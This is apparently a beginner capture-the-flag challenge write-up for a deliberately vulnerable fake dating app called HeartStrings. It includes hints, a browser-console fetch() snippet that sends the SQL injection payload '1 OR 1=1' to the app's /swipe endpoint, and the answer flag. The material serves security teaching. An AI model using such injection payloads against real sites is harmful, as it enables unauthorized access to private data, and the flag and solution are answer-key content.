HeartStrings : Web Exploit - Beginner

Creator: Aleena Mehmood Points: –

Description

This is a vulnerable fake dating app. The flag is hidden in the database. Students will learn how to do a simple SQL injection. Students will also learn how to use inspector: Network tab to gather information, and console table to write JS that runs an SQL query.

Github Path: Capture_The_Flame_2026/Web_Exploit/HeartStrings/

Prompt

HeartStrings 💕

Fall in love.
Break some hearts.

Beware of those who are too honest... 😼

Hints

1. The screen might lie to you, but the browser never does. Have you checked the Network traffic while swiping?
2. The server is returning data that the website isn't displaying. Look for a hidden field.
3. The site looks up profiles by id, but it trusts your input too much. What happens if you ask for 1 OR 1=1?

Solution

1. Open the developer tools and go to the network tab. Notice that once you click a “heart” or “X” button, there is an API request called “swipe”.

2. Upon looking at the Response tab in the swipe call, you shall a JSON response like:
`{"result":"swiped","data":[{"private_note":"flame{love_is_"}]}`

3. Upon looking at the Payload tab in the swipe call, you should see the request payload like: `{"id": 1}`

4. Open the console tab in the developer tools and copy+paste this code:

```
fetch("/swipe", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ id: "1 OR 1=1" })
})
.then(response => response.json())
.then(data => {
    console.table(data.data);
});
```

This JS code will run this SQL query: `SELECT private_note FROM profiles WHERE id = 1 OR 1=1` which returns all private_note's in the database. Important to note that the JSON payload is `1 or 1=1` (which is equivalent to true, 1=1 is always true)

The response will show the flag as a table:

5. Concatenate to get the final flag.

(instead of using JS, you could also optionally go through every single JSON response and manually gather all the parts of the flag, which takes longer but easier).

Flag

```
flame{love_is_never_sql_safe_when_you_trust_input}
```